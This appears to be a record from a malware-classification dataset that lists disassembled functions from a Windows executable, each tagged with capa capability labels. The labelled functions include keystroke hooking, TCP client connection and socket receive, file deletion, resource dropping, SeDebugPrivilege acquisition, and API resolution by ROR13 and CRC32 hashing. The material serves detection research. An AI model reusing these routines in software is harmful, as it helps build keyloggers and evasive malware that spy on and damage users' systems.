joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401b9f
Capabilities:
Get disk information

Disassembly:
enter 0x528, 0
push ebx
push esi
push edi
push 0x40a221
push 0x401d2e
call fcn.00407f14
mov eax, dword [ebp + 0xc]
push eax
push 0
call fcn.00407928
push 0x100
lea eax, [ebp - 0x204]
push eax
lea eax, [ebp - 0x208]
push eax
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x210]
push eax
push 0x100
lea eax, [ebp - 0x102]
push eax
mov eax, dword [ebp + 8]
push eax
call sub.kernel32.dll_GetVolumeInformationA
test eax, eax
je 0x401d16
lea eax, [ebp - 0x214]
push eax
lea eax, [ebp - 0x418]
push eax
lea eax, [ebp - 0x414]
push eax
push 0x40a207
call fcn.0040769c
lea eax, [ebp - 0x314]
push eax
lea eax, [ebp - 0x102]
push eax
call fcn.00406fc2
call fcn.00407744
push 0x40a209
call fcn.00407744
call fcn.00407874
pop eax
push dword [eax]
call fcn.00407928
mov eax, dword [ebp - 0x214]
test eax, eax
je 0x401c59
mov eax, dword [eax - 4]
cmp eax, 0xe
jge 0x401c9d
mov eax, dword [ebp - 0x214]
test eax, eax
je 0x401c6b
mov eax, dword [eax - 4]
cmp eax, 0xe
jge 0x401c9d
lea eax, [ebp - 0x214]
push eax
lea eax, [ebp - 0x41c]
push eax
push dword [ebp - 0x214]
call fcn.00407960
push 0x40a213
call fcn.004079c4
pop eax
push dword [eax]
call fcn.00407928
jmp 0x401c5e
lea eax, [ebp - 0x214]
push eax
lea eax, [ebp - 0x524]
push eax
push dword [ebp - 0x214]
call fcn.00407960
lea eax, [ebp - 0x520]
push eax
lea eax, [ebp - 0x51c]
push eax
lea eax, [ebp - 0x204]
push eax
call fcn.00406fc2
call fcn.00407874
pop eax
push dword [eax]
call fcn.004079c4
push 0x40a21d
call fcn.004079c4
lea eax, [ebp - 0x528]
push eax
mov eax, dword [ebp + 8]
push eax
call fcn.00401ad2
pop eax
push dword [eax]
call fcn.004079c4
pop eax
push dword [eax]
call fcn.00407928
mov eax, dword [ebp + 0xc]
push eax
push dword [ebp - 0x214]
call fcn.00407928
xor eax, eax
pop dword fs:[eax]
add esp, 8
push 0x401d35
push 0x40a221
call fcn.00407f68
ret

Function at 0x401d3c
Capabilities:
Receive data
Receive data on socket

Disassembly:
enter 0x110, 0
push ebx
push esi
push edi
push 0x40a26a
push 0x401de5
call fcn.00407f14
mov al, 0
mov dword [ebp - 0x110], eax
push 0x40cb87
push 0x1002
push 0
call fcn.00407d14
push 0
push 0x100
push 0x40cb87
push dword [0x40b779]
call sub.wsock32.dll_recv
cmp eax, 0xffffffff
je 0x401dcd
cmp dword [ebp + 8], 0
je 0x401dcd
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
call fcn.00401000
pop eax
push dword [eax]
lea eax, [ebp - 0x10c]
push eax
lea eax, [ebp - 0x108]
push eax
push 0x40cb87
call fcn.00406fc2
call fcn.00407874
pop eax
push dword [eax]
call fcn.00407b5c
test eax, eax
je 0x401dcd
mov al, 1
mov dword [ebp - 0x110], eax
xor eax, eax
pop dword fs:[eax]
add esp, 8
push 0x401dec
push 0x40a26a
call fcn.00407f68
ret
Function at 0x40217d
Capabilities:
Get file size

Disassembly:
push esi
push edi
push 1
call fcn.004011ca
push eax
call sub.kernel32.dll__lopen
mov esi, eax
push 0
push esi
call sub.kernel32.dll_GetFileSize
cmp eax, 0x1312d00
jle 0x4021a5
push esi
push 0
call fcn.0040673c
push 2
push 0
push esi
call sub.kernel32.dll__llseek
mov eax, dword [0x40b759]
test eax, eax
je 0x4021bb
mov eax, dword [eax - 4]
test eax, eax
jle 0x40220b
mov edi, dword [0x40b759]
test edi, edi
je 0x4021cc
mov edi, dword [edi - 4]
mov edx, 1
jmp 0x4021ee
mov eax, dword [0x40b759]
mov cl, byte [edx + eax - 1]
xor cl, 0x66
push 0x40b759
call fcn.00407a24
mov byte [edx + eax - 1], cl
inc edx
cmp edi, edx
jge 0x4021d3
mov eax, dword [0x40b759]
test eax, eax
je 0x4021fe
mov eax, dword [eax - 4]
push eax
mov eax, dword [0x40b759]
push eax
push esi
call sub.kernel32.dll__lwrite
push esi
call sub.kernel32.dll__lclose
push 0x40b759
push 0
call fcn.00407928
and dword [0x40b540], 0
pop edi
pop esi
ret

Function at 0x402227
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns

Disassembly:
enter 0x11c, 0
push ebx
mov bl, 0
mov byte [ebp - 0x1a], 0
lea eax, [ebp - 0x11c]
push eax
push 0x40a30c
call fcn.00406f06
cmp byte [ebp - 0x1a], 0
je 0x402258
lea eax, [ebp - 0x11c]
push eax
push dword [ebp + 0xc]
call fcn.00406f06
lea eax, [ebp - 0x11c]
push eax
push dword [ebp + 8]
call fcn.00406f59
push 0
push 1
push 2
call sub.wsock32.dll_socket
mov dword [0x40b779], eax
cmp dword [0x40b779], 0xffffffff
jne 0x402285
jmp 0x402363
lea eax, [ebp - 0x11c]
push eax
call sub.wsock32.dll_inet_addr
mov dword [ebp - 5], eax
cmp dword [ebp - 5], 0xffffffff
jne 0x402301
lea eax, [ebp - 0x11c]
push eax
call sub.wsock32.dll_gethostbyname
test eax, eax
jne 0x4022d4
cmp byte [ebp - 0x1a], 0
je 0x4022b7
jmp 0x402363
cmp dword [0x40b779], 0
je 0x4022cb
push dword [0x40b779]
call sub.wsock32.dll_closesocket
mov byte [ebp - 0x1a], 1
jmp 0x402232
mov ecx, dword [eax + 0xc]
mov ecx, dword [ecx]
mov cl, byte [ecx]
mov byte [ebp - 0x15], cl
mov ecx, dword [eax + 0xc]
mov ecx, dword [ecx]
mov cl, byte [ecx + 1]
mov byte [ebp - 0x14], cl
mov ecx, dword [eax + 0xc]
mov ecx, dword [ecx]
mov cl, byte [ecx + 2]
mov byte [ebp - 0x13], cl
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov al, byte [eax + 3]
mov byte [ebp - 0x12], al
jmp 0x402310
lea eax, [ebp - 5]
push eax
lea eax, [ebp - 0x15]
push eax
push 4
call fcn.00407cb8
mov word [ebp - 0x19], 2
movzx eax, word [ebp + 0x10]
push eax
call sub.wsock32.dll_htons
mov word [ebp - 0x17], ax
push 0x10
lea eax, [ebp - 0x19]
push eax
push dword [0x40b779]
call sub.wsock32.dll_connect
cmp eax, 0xffffffff
jne 0x402361
cmp byte [ebp - 0x1a], 0
je 0x402344
jmp 0x402363
cmp dword [0x40b779], 0
je 0x402358
push dword [0x40b779]
call sub.wsock32.dll_closesocket
mov byte [ebp - 0x1a], 1
jmp 0x402232
mov bl, 1
mov al, bl
pop ebx
leave
ret 0xc
Function at 0x403201
Capabilities:
Delete file
Set file attributes

Disassembly:
push 0x20
call fcn.004011ca
push eax
call sub.kernel32.dll_SetFileAttributesA
call fcn.004011ca
push eax
call sub.kernel32.dll_DeleteFileA
push 1
call fcn.004018ea
ret
Function at 0x403c41
Capabilities:
Query or enumerate registry value

Disassembly:
enter 0x10, 2
and dword [ebp - 0x18], 0
mov dword [ebp - 0x10], 0xfe
mov dword [ebp - 0x14], 0xfe
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 4]
add eax, 0xfffffdec
push eax
lea eax, [ebp - 0x18]
push eax
push 0
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 4]
add eax, 0xfffffeee
push eax
mov eax, dword [ebp - 4]
push dword [eax - 0xc]
mov eax, dword [ebp - 4]
push dword [eax - 8]
call sub.advapi32.dll_RegEnumValueA
leave
ret

Function at 0x404721
Capabilities:
Delete file
Get file attributes
Set file attributes

Disassembly:
push esi
mov eax, dword [ebp - 4]
mov cl, byte [eax - 0x5f7]
inc cl
mov eax, dword [ebp - 4]
mov byte [eax - 0x5f7], cl
mov eax, dword [ebp - 4]
cmp byte [eax - 0x5f7], 0x39
jbe 0x404760
mov eax, dword [ebp - 4]
mov cl, byte [eax - 0x5f6]
inc cl
mov eax, dword [ebp - 4]
mov byte [eax - 0x5f6], cl
mov eax, dword [ebp - 4]
mov byte [eax - 0x5f7], 0x30
mov eax, dword [ebp - 4]
mov dl, byte [eax - 0x5f7]
mov eax, dword [ebp - 4]
add eax, 0xfffffa0b
push eax
call fcn.00407a24
mov ecx, dword [ebp - 4]
mov ecx, dword [ecx - 0x5f5]
test ecx, ecx
je 0x404787
mov ecx, dword [ecx - 4]
mov byte [ecx + eax - 1], dl
mov eax, dword [ebp - 4]
mov dl, byte [eax - 0x5f6]
mov eax, dword [ebp - 4]
add eax, 0xfffffa0b
push eax
call fcn.00407a24
mov ecx, dword [ebp - 4]
mov ecx, dword [ecx - 0x5f5]
test ecx, ecx
je 0x4047b2
mov ecx, dword [ecx - 4]
dec ecx
mov byte [ecx + eax - 1], dl
mov eax, dword [ebp - 4]
add eax, 0xfffffa0b
push eax
call fcn.00407a24
mov ecx, dword [ebp - 4]
mov ecx, dword [ecx - 0x5f5]
test ecx, ecx
je 0x4047d5
mov ecx, dword [ecx - 4]
dec ecx
dec ecx
mov byte [ecx + eax - 1], 0x7e
mov eax, dword [ebp - 4]
mov eax, dword [eax - 0x5f5]
push eax
call sub.kernel32.dll_GetFileAttributesA
mov esi, eax
push 0x20
mov eax, dword [ebp - 4]
mov eax, dword [eax - 0x5f5]
push eax
call sub.kernel32.dll_SetFileAttributesA
mov eax, dword [ebp - 4]
mov eax, dword [eax - 0x5f5]
push eax
call sub.kernel32.dll_DeleteFileA
push esi
mov eax, dword [ebp - 4]
mov eax, dword [eax - 0x5f5]
push eax
call sub.kernel32.dll_SetFileAttributesA
pop esi
ret
Function at 0x405007
Capabilities:
Log keystrokes via application hook

Disassembly:
enter 0x108, 2
push ebx
push esi
mov bl, 0
cmp dword [ebp + 8], 0
je 0x405024
lea eax, [ebp - 0x10f]
push eax
push dword [ebp + 8]
call fcn.00406f06
lea eax, [ebp - 0x10f]
push eax
mov eax, dword [0x40b520]
push dword [eax + 0x138]
call fcn.00406f59
lea eax, [ebp - 0x10f]
push eax
call sub.kernel32.dll_LoadLibraryA
mov esi, eax
test esi, esi
je 0x405099
mov eax, dword [0x40b520]
push dword [eax + 0x13c]
push esi
call sub.kernel32.dll_GetProcAddress
mov dword [0x40fb8d], eax
cmp dword [0x40fb8d], 0
je 0x405081
push 0
push esi
push dword [0x40fb8d]
push 2
call sub.user32.dll_SetWindowsHookExA
mov dword [0x40fd2d], eax
mov eax, dword [0x40b520]
push dword [eax + 0xe0]
push esi
call sub.kernel32.dll_GetProcAddress
mov dword [0x40b528], eax
mov bl, 1
mov al, bl
pop esi
pop ebx
leave
ret 4

Function at 0x4050a1
Capabilities:
Extract resource via kernel32 functions

Disassembly:
enter 0x118, 1
push esi
push edi
push 0x66
push 0x65
push 0
call sub.kernel32.dll_FindResourceA
mov esi, eax
test esi, esi
je 0x405187
push esi
push 0
call sub.kernel32.dll_LoadResource
mov edi, eax
push esi
push 0
call sub.kernel32.dll_SizeofResource
mov dword [ebp - 0x18], eax
push edi
call sub.kernel32.dll_LockResource
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x11a]
push eax
push 0x40b981
call fcn.00406f06
lea eax, [ebp - 0x11a]
push eax
mov eax, dword [0x40b520]
push dword [eax + 0x138]
call fcn.00406f59
push 0
push 2
push 2
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x11a]
push eax
call sub.kernel32.dll_CreateFileA
mov esi, eax
cmp esi, 0xffffffff
jne 0x40516a
lea eax, [ebp - 0x11a]
push eax
call fcn.00401090
push eax
call fcn.00406f06
lea eax, [ebp - 0x11a]
push eax
mov eax, dword [0x40b520]
push dword [eax + 0x138]
call fcn.00406f59
push 0
push 2
push 2
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x11a]
push eax
call sub.kernel32.dll_CreateFileA
mov esi, eax
cmp esi, 0xffffffff
je 0x40517b
push dword [ebp - 0x18]
push dword [ebp - 0x10]
push esi
call sub.kernel32.dll__lwrite
push esi
call sub.kernel32.dll_CloseHandle
push edi
call fcn.0040705d
push 0x40a993
call fcn.00405007
test al, al
jne 0x4051a0
call fcn.00401090
push eax
call fcn.00405007
pop edi
pop esi
leave
ret
Function at 0x40619f
Capabilities:
Get common file path
Get file size

Disassembly:
mov ecx, 0x40b070
mov eax, 0x8000
call fcn.00408c84
call fcn.00408eb4
call fcn.00406ed7
enter 0x104, 0
push 0x40b080
push 0x40636a
call fcn.00407f14
and dword [0x40b564], 0
push 1
call sub.kernel32.dll_SetErrorMode
call fcn.00405b72
mov eax, dword [0x40b520]
push dword [eax + 0xe8]
call sub.kernel32.dll_GetModuleHandleA
mov dword [0x40b55c], eax
cmp dword [0x40b55c], 0
je 0x406235
mov eax, dword [0x40b520]
push dword [eax + 0xec]
push dword [0x40b55c]
call sub.kernel32.dll_GetProcAddress
mov dword [0x40b52c], eax
cmp dword [0x40b52c], 0
je 0x40622a
push 1
push 0
call dword [0x40b52c]
push dword [0x40b55c]
call sub.kernel32.dll_FreeLibrary
push 0x100
push 0x40b87f
call sub.kernel32.dll_GetWindowsDirectoryA
push 0x40b87f
call fcn.00401056
push 0x100
push 0x40b981
call sub.kernel32.dll_GetSystemDirectoryA
push 0x40b981
call fcn.00401056
push 0x40b544
lea eax, [ebp - 0x104]
push eax
lea eax, [ebp - 0x100]
push eax
push 0
call fcn.00408554
call fcn.00407874
pop eax
push dword [eax]
call fcn.00407928
push 0x6d4f
push 0
call fcn.00406ffb
mov dword [0x40b71d], eax
push 0x6d4f
push 0
call fcn.00406ffb
mov dword [0x40b721], eax
push 0
mov eax, dword [0x40b544]
push eax
call sub.kernel32.dll__lopen
mov dword [0x40b55c], eax
cmp dword [0x40b55c], 0xffffffff
jne 0x4062d0
jmp 0x406352
push 0x6d4e
push dword [0x40b71d]
push dword [0x40b55c]
call sub.kernel32.dll__lread
cmp eax, 0xffffffff
jne 0x4062ed
jmp 0x406352
push 0
push dword [0x40b55c]
call sub.kernel32.dll_GetFileSize
mov dword [0x40b558], eax
push dword [0x40b55c]
call sub.kernel32.dll__lclose
cmp eax, 0xffffffff
jne 0x406311
jmp 0x406352
cmp dword [0x40b558], 0x6d4e
jle 0x406322
call fcn.0040481f
call fcn.00405889
push dword [0x40b71d]
call fcn.0040703e
push dword [0x40b721]
call fcn.0040703e
call fcn.0040217d
call fcn.00404db6
push dword [0x40b520]
call fcn.004071b8
xor eax, eax
pop dword fs:[eax]
add esp, 8
push 0x406371
push 0x40b080
call fcn.00407f68
ret

Function at 0x4066d0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push esi
push 0
mov eax, dword [ebp + 8]
push eax
push dword [ebp + 0xc]
mov eax, dword [ebp + 0x10]
push eax
push dword [ebp + 0x14]
call sub.kernel32.dll_WriteFile
test eax, eax
setne al
movsx eax, al
push eax
call fcn.0040653c
mov esi, eax
cmp dword [0x40b13f], 0xffffffff
je 0x406731
mov eax, dword [ebp + 0x14]
cmp eax, dword [0x40b13b]
jne 0x406731
lea eax, [ebp - 0x1a]
push eax
push dword [0x40b13b]
call sub.kernel32.dll_GetConsoleScreenBufferInfo
movsx eax, word [ebp - 0x16]
mov dword [0x40b147], eax
movsx eax, word [ebp - 0x14]
mov dword [0x40b14b], eax
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret 0x10
Function at 0x406848
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38c
push esi
push edi
mov edi, 3
push 0x40b510
call fcn.00408b98
mov esi, dword [eax]
push 0x40b510
call fcn.00408b98
mov dword [eax], 0x40
lea eax, [ebp - 0x150]
push eax
lea eax, [ebp - 0x38c]
push eax
push 0
call fcn.00408554
call fcn.004083cc
lea eax, [ebp - 0x150]
push eax
push 1
call fcn.00408458
call fcn.004070b4
test eax, eax
jne 0x406989
lea eax, [ebp - 0x150]
push eax
lea eax, [ebp - 0x190]
push eax
push 0x40
push 0
call fcn.0040852c
call fcn.004070b4
test eax, eax
jne 0x4068ff
cmp word [ebp - 0x190], 0x5a4d
jne 0x4068ff
lea eax, [ebp - 0x150]
push eax
push dword [ebp - 0x154]
call fcn.00408474
lea eax, [ebp - 0x150]
push eax
lea eax, [ebp - 0x190]
push eax
push 2
push 0
call fcn.0040852c
jmp 0x406909
mov dword [ebp - 0x154], 0
lea eax, [ebp - 0x150]
push eax
push dword [ebp - 0x154]
call fcn.00408474
call fcn.004070b4
test eax, eax
jne 0x40696d
cmp word [ebp - 0x190], 0x4550
jne 0x40696d
lea eax, [ebp - 0x150]
push eax
lea eax, [ebp - 0x288]
push eax
push 0xf8
push 0
call fcn.0040852c
call fcn.004070b4
test eax, eax
jne 0x40696d
cmp dword [ebp - 0x288], 0x4550
jne 0x40696d
cmp word [ebp - 0x22c], 3
jne 0x40696d
mov edi, 2
lea eax, [ebp - 0x150]
push eax
call fcn.004084a4
push 0x40b508
call fcn.00408b98
mov dword [eax], 0
push 0x40b510
call fcn.00408b98
mov dword [eax], esi
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x406af8
Capabilities:
Contain obfuscated stackstrings
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
push esi
mov dword [ebp - 0x21], 0x52414853
mov dword [ebp - 0x1d], 0x454d4445
mov dword [ebp - 0x19], 0x5356344d
call sub.kernel32.dll_GetCurrentProcessId
push eax
push 0
lea eax, [ebp - 0x15]
push eax
push 0xb
call fcn.00407c6c
xor eax, eax
mov bl, 0
push 0x40b0a4
push 1
call fcn.004064f8
test eax, eax
jne 0x406b4c
push 0x2000
call fcn.00407188
mov esi, eax
mov bl, 1
jmp 0x406b82
lea ecx, [ebp - 0x21]
push ecx
push 0
push 6
call eax
test eax, eax
jne 0x406b72
lea eax, [ebp - 0x21]
push eax
push 0x2000
push 0
push 4
push 0
push 0xffffffffffffffff
call sub.kernel32.dll_CreateFileMappingA
mov bl, 1
push 0
push 0
push 0
push 6
push eax
call sub.kernel32.dll_MapViewOfFile
mov esi, eax
test bl, bl
je 0x406bab
push esi
push 0x2000
push 0xff
call fcn.00407d14
push esi
push 0x18
push 0
call fcn.00407d14
mov eax, esi
add eax, 0xc
push eax
call fcn.00407260
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x408758
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push esi
or esi, 0xffffffff
or eax, 0xffffffff
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x10], 0
mov edx, dword [0x40b1b0]
add edx, 0x18
cmp dword [edx], 0xffffffff
je 0x408880
mov ecx, dword [edx + 8]
cmp ecx, dword [ebp + 0x10]
ja 0x408878
mov ecx, dword [edx + 8]
sub dword [ebp + 0x10], ecx
mov ecx, dword [edx + 8]
mov dword [ebp - 0x18], ecx
mov edx, dword [edx + 0xc]
test edx, edx
jne 0x4087a9
jmp 0x408880
mov cl, byte [edx]
sub cl, 0x3c
jne 0x4087b7
jmp 0x408876
sub cl, 3
jne 0x4087d1
inc edx
mov dword [ebp - 0xc], edx
movzx ecx, byte [edx]
inc ecx
add edx, ecx
mov byte [ebp - 0x25], 1
jmp 0x408871
inc cl
jne 0x4087e5
movzx ecx, word [edx + 1]
add esi, ecx
add edx, 3
jmp 0x408871
inc cl
jne 0x4087f9
movzx ecx, word [edx + 1]
add esi, ecx
mov ecx, dword [edx + 3]
add eax, ecx
add edx, 7
jmp 0x40880c
movzx ecx, byte [edx]
shr ecx, 6
add esi, ecx
mov cl, byte [edx]
and cl, 0x3f
movzx ecx, cl
add eax, ecx
inc edx
cmp eax, dword [ebp + 0x10]
jne 0x408817
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x24], esi
cmp eax, dword [ebp + 0x10]
jl 0x408867
sub eax, dword [ebp + 0x10]
cmp eax, 0xa
jle 0x40882a
cmp byte [ebp - 0x25], 0
jne 0x408865
mov eax, dword [ebp - 0xc]
mov cl, byte [eax]
mov eax, dword [ebp + 0xc]
mov byte [eax], cl
xor edx, edx
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax]
cmp eax, edx
jle 0x408852
inc edx
mov eax, dword [ebp - 0xc]
mov cl, byte [edx + eax]
xor cl, 0xaa
mov eax, dword [ebp + 0xc]
mov byte [edx + eax], cl
jmp 0x408836
movzx eax, word [ebp - 0x24]
mov ecx, dword [ebp + 8]
mov dword [ecx], eax
mov eax, dword [ebp - 0x10]
add eax, dword [ebp - 0x18]
jmp 0x408882
jmp 0x408876
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x24], esi
mov byte [ebp - 0x25], 0
jmp 0x4087a9
jmp 0x408880
add edx, 0x10
jmp 0x40877c
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 0xc

Function at 0x408c84
Capabilities:
Query environment variable

Disassembly:
sub esp, 0x10
cld
push ecx
call fcn.004070c8
call fcn.00408c60
call fcn.00406af8
mov dword [0x40b1b0], eax
pop edx
call fcn.00408b3c
call sub.kernel32.dll_GetEnvironmentStrings
mov dword [0x40b1d8], eax
push 0
call sub.kernel32.dll_GetModuleHandleA
mov dword [0x40b1ec], eax
mov dword [0x40b214], eax
call fcn.00406848
cmp eax, 3
setb byte [0x40b1b9]
lea eax, [esp]
xor edx, edx
mov ecx, dword fs:[edx]
mov dword fs:[edx], eax
mov dword [eax], ecx
mov dword [eax + 4], 0x408dd8
mov dword [eax + 8], ebp
jmp dword [esp + 0x10]
Function at 0x4082c2
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
push 8
call fcn.004787d2
add esp, 4
mov dword [ebp - 0xc], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
push 0x10
call fcn.004787d2
add esp, 4
mov dword [ebp - 0x10], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov dword [ebx + 8], 0
mov dword [ebx + 0xc], 0
push 0x10
call fcn.004787d2
add esp, 4
mov dword [ebp - 0x14], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov dword [ebx + 8], 0
mov dword [ebx + 0xc], 0
push 0
mov ebx, 0x47ba10
call fcn.004787f0
add esp, 4
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
je 0x40837b
mov eax, 0
jmp 0x4084bf
cmp dword [ebp + 0xc], 0
jne 0x4083a7
mov dword [ebp - 0x18], esp
mov eax, 0x21
call fcn.004787ea
cmp dword [ebp - 0x18], esp
je 0x4083a4
push 6
call fcn.004787e4
add esp, 4
mov dword [ebp - 4], eax
cmp dword [ebp + 0x14], 0
jne 0x4083cf
mov eax, str.SeDebugPrivilege
push eax
mov ebx, dword [ebp + 0x10]
mov ebx, dword [ebx]
test ebx, ebx
je 0x4083c9
push ebx
call fcn.004787d8
add esp, 4
pop eax
mov ebx, dword [ebp + 0x10]
mov dword [ebx], eax
mov dword [ebp - 0x18], esp
lea eax, [ebp - 8]
push eax
push 0x28
push dword [ebp - 4]
mov eax, 0x22
call fcn.004787ea
cmp dword [ebp - 0x18], esp
je 0x4083fa
push 6
call fcn.004787e4
add esp, 4
mov dword [ebp - 0x18], esp
push dword [ebp - 0xc]
mov ebx, dword [ebp + 0x10]
push dword [ebx]
push 0x53501a
mov eax, 0x23
call fcn.004787ea
cmp dword [ebp - 0x18], esp
je 0x408426
push 6
call fcn.004787e4
add esp, 4
mov ebx, dword [ebp - 0x10]
mov dword [ebp - 0x18], ebx
mov ebx, dword [ebp - 0x18]
mov dword [ebx], 1
mov ebx, dword [ebp - 0x10]
add ebx, 4
mov dword [ebp - 0x18], ebx
mov ebx, dword [ebp - 0xc]
mov dword [ebp - 0x1c], ebx
mov ebx, dword [ebp - 0x1c]
mov eax, dword [ebx]
mov ebx, dword [ebp - 0x18]
mov dword [ebx], eax
mov ebx, dword [ebp - 0x10]
add ebx, 8
mov dword [ebp - 0x18], ebx
mov ebx, dword [ebp - 0xc]
add ebx, 4
mov dword [ebp - 0x1c], ebx
mov ebx, dword [ebp - 0x1c]
mov eax, dword [ebx]
mov ebx, dword [ebp - 0x18]
mov dword [ebx], eax
mov ebx, dword [ebp - 0x10]
add ebx, 0xc
mov dword [ebp - 0x18], ebx
mov ebx, dword [ebp - 0x18]
mov dword [ebx], 2
mov dword [ebp - 0x18], esp
mov eax, 0
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x14]
push 0x1c
push dword [ebp - 0x10]
push 0
push dword [ebp - 8]
mov eax, 0x24
call fcn.004787ea
cmp dword [ebp - 0x18], esp
je 0x4084ba
push 6
call fcn.004787e4
add esp, 4
jmp 0x4084bf
push eax
mov ebx, dword [ebp - 0xc]
push ebx
call fcn.004787d8
add esp, 4
mov ebx, dword [ebp - 0x10]
push ebx
call fcn.004787d8
add esp, 4
mov ebx, dword [ebp - 0x14]
push ebx
call fcn.004787d8
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 0x10
Function at 0x460ea8
Capabilities:
Access peb ldr_data
Resolve function by hash

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
mov dword [ebp - 4], 0
cld
xor edx, edx
mov edx, dword fs:[edx + 0x30]
mov edx, dword [edx + 0xc]
mov edx, dword [edx + 0x14]
mov esi, dword [edx + 0x28]
push 0x18
pop ecx
xor edi, edi
xor eax, eax
lodsb al, byte [esi]
cmp al, 0x61
jl 0x460ed6
sub al, 0x20
ror edi, 0xd
add edi, eax
loop 0x460ecd
cmp edi, 0x6a4abc5b
mov ebx, dword [edx + 0x10]
mov edx, dword [edx]
jne 0x460ec5
mov eax, ebx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
jmp 0x460ef7
mov esp, ebp
pop ebp
ret

Function at 0x460efb
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
mov dword [ebp - 4], 0
add esp, 0xffffffec
push esi
push ebx
push edi
push edx
push ecx
mov eax, dword [ebp + 0x10]
xor edx, edx
xchg edx, eax
mov esi, 0x3c
add esi, dword [ebp + 0xc]
mov eax, dword [esi]
add eax, dword [ebp + 0xc]
mov esi, dword [eax + 0x78]
add esi, 0x18
add esi, dword [ebp + 0xc]
mov eax, dword [esi]
mov dword [ebp - 0x14], eax
add esi, 4
lea edi, [ebp - 8]
lodsd eax, dword [esi]
add eax, dword [ebp + 0xc]
stosd dword es:[edi], eax
mov dword [ebp - 8], eax
lodsd eax, dword [esi]
add eax, dword [ebp + 0xc]
push eax
stosd dword es:[edi], eax
mov dword [ebp - 0xc], eax
mov eax, dword [esi]
add eax, dword [ebp + 0xc]
mov dword [ebp - 0x10], eax
pop esi
mov dword [ebp - 4], 0
push esi
mov eax, dword [esi]
add eax, dword [ebp + 0xc]
xchg edi, eax
mov ebx, edi
push edi
xor al, al
scasb al, byte es:[edi]
jne 0x460f67
pop esi
sub edi, ebx
push edx
cld
xor ecx, ecx
dec ecx
mov edx, ecx
xor eax, eax
xor ebx, ebx
lodsb al, byte [esi]
xor al, cl
mov cl, ch
mov ch, dl
mov dl, dh
mov dh, 8
shr bx, 1
rcr ax, 1
jae 0x460f94
xor ax, 0x8320
xor bx, 0xedb8
dec dh
jne 0x460f83
xor ecx, eax
xor edx, ebx
dec edi
jne 0x460f74
not edx
not ecx
mov eax, edx
rol eax, 0x10
mov ax, cx
pop edx
cmp edx, eax
je 0x460fba
pop esi
add esi, 4
add dword [ebp - 4], 1
jmp 0x460f5b
pop esi
mov eax, dword [ebp - 4]
shl eax, 1
add eax, dword [ebp - 0x10]
xor esi, esi
xchg esi, eax
mov ax, word [esi]
shl ax, 2
add eax, dword [ebp - 8]
xchg esi, eax
mov eax, dword [esi]
add eax, dword [ebp + 0xc]
pop ecx
pop edx
pop edi
pop ebx
pop esi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
jmp 0x460fe6
mov esp, ebp
pop ebp
ret 0xc